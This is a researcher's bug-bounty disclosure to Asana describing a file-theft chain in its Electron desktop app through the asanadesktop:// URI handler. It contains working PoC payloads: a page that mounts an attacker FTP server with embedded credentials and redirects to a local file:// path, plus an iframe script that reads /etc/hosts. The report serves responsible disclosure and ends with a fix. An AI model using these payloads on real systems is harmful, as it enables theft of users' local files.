Hey Asana team
Intro
While looking at Asana desktop app I found a critical vulnerability which allow an attacker to steal any file from victims computer just by visiting a link
Electron Decompiling
I downloaded the app from official website latest version and started to play around with it, I noticed its an Electron app and I decompiled it with asar to see the source code.
Custom URI
While login into the app and visiting some endpoints from the browser the app will redirect you to the desktop app using a custom URI called asanadesktop://
, Let's look at the source code how this is used inside the app:
e.prototype._handleCustomProtocolUrl = function(e) {
if (e.protocol === k + ":") {
var n = F(e.pathname),
t = n.split("/")
switch (this._windowManager.getMostRecentlyFocusedAsanaWindow().show(), t[0]) {
case "desktop_start_session":
var r = e.searchParams.get("external_auth_token"),
a = e.searchParams.get("email")
if (null === r || null === a) {
var o = null === r ? "Received null externalAuthToken from desktop_start_session protocol handler" : "Received null email from desktop_start_session protocol handler"
return void c({ nameForGrouping: o, type: "exception", stack: (new Error).stack, userAgent: Q(), appVersion: K(), platform: v(), arch: b() })
}
return this._setSingleUseLoginCredentials({ email: a, externalAuthToken: r }), void this._windowManager.getMostRecentlyFocusedAsanaWindow().webContents.send("send-client-id-to-desktop-start-session")
case "app":
var i = new URL(t.slice(1).join("/") + e.search + e.hash, E())
this._windowManager.getMostRecentlyFocusedAsanaWindow().loadURL(i.href, { userAgent: Q() })
var s = Yr(i.href)
return void this._windowManager.logNonUserActionEvent({ action: "AppLinkRedirected", location: "DesktopApp", asanaAppUrl: i.href, linkedObject: s })
}
}
}
There is 2 cases desktop_start_session
and app
let's skip the start session one and focus on the app. Looking for places how it's used an example:
asanadesktop:///app/0/0/1202167222171874/1202167280762920/f
Inside the desktop app it will load this URL: https://app.asana.com/0/0/1202167222171874/1202167280762920/f
So basically it's a simple redirect but yet very vulnerable.
From the source code we see this code which construct the URL var i = new URL(t.slice(1).join("/") + e.search + e.hash, E())
It will get the path and removes first character and the webview will load that url using loadURL()
function, this implantation is very buggy we can trick the webview to load arbitrary sites an example:
https://app.asana.com/-/desktop_app_link?path=/https://example.com/

Now we have successfully hijacked the webview also we have access to exposed IPC bridge communication with main process electronInjectedApi
object which has many available APIs to control the app.
Local Files
Hijacking a webview for phishing is not a real bug so I went further for any potential attack vectors, Looking at the source code again I noticed there isn't any check on the protocol to load meaning we can load files from local system, here is an example of loading /etc/passwd
on Mac:
https://app.asana.com/-/desktop_app_link?path=/file:///etc/passwd
We have now loaded a local file into the webview still not a big deal but Electron has a really bad feature which allows any file on the system read other files in any place, modern browsers when you load a local file the origin of the process is null
and they can't access anything outside them but in Electron local files origin is file://
thus we can load any file from system and steal it if we download our malicious file into victims pc and load it.

Loading our file
Every modern browser uses auto download when downloading anything from online so for our exploit chain we will download pwn.html
then load this url inside the webview file:///Users/Victim/Downloads/pwn.html
but there is a tiny problem which is we need to know victims PC username.
I have previously encountered this situation and I know some ways which we can download a file into victims computer with our desired location, there is also a great researchers on it, this and this.
In Mac if you load an ftp://
URI it will open Finder app and connects you to the server then automatically mount all the files into /Volumes/example.com/files
now we have a controlled path which we can load, In Windows we can use smb://
which I think doesn't require any user interaction and mount the server silently with a controlled path.
POC time
Here is the steps which will be used (Mac)
- Host a malicious HTML file into your ftp server to steal contents of a file
- Host a malicious page online, and redirect to
ftp://username:password@attackerserver.com
- Finder will be opened and mount the server to
/Volumes/
- Redirect the desktop app to our desired file
asanadesktop:///app/file:///Volumes/attackerserver.com/public_html/pwn.html
- The app will load the file and we can steal any files on the PC.
POC (Mac) Click to open Finder and connect, this is one time process:
https://1f.cx/dox.php
Video POC:
https://drive.google.com/file/d/1OH_7hsrcMlBcPqQHSfUqiqKaXR6L3VN3/view?usp=sharing
POC Files
dox.php
<body>
<br><br>
<h1 style=color:green onclick=start()>
Click Here and confirm the dialog boxes to connect
</h1>
<script>
function start(){
location='ftp://tinnier-regions:slawbra23@files.000webhost.com';
setTimeout(()=>{
location='https://app.asana.com/-/desktop_app_link?path=/file:///Volumes/files.000webhost.com/public_html/pwn.html'
},10000)
}
</script>
pwn.html
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}</script>
Fix
To fix this bug there must be a check when loading from the custom URI to only allow https
scheme and only app.asana.com
Thanks
Renwa